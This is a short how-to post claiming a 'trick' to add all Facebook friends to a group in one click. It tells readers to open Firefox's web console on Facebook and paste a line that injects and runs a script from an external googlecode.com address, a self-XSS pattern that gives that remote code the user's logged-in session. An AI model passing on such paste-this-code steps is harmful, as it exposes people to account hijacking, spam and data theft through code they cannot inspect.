Trick

Add All FB Friends In FB Groups In A Single Click :-If you want to add your all friends in group by just single click then follow all steps
carefully.

Firstly open Mozilla Firefox
Now Open your Facebook group in which you want to add your friends
Then Click Ctrl + Shift + K

Now Paste...
document.body.appendChild(document.createElement('script')).src='http://groupinvites.googlecode.com/files/group-invite.js';
Then press Enter

After then to hide box press again Ctrl + Shift + K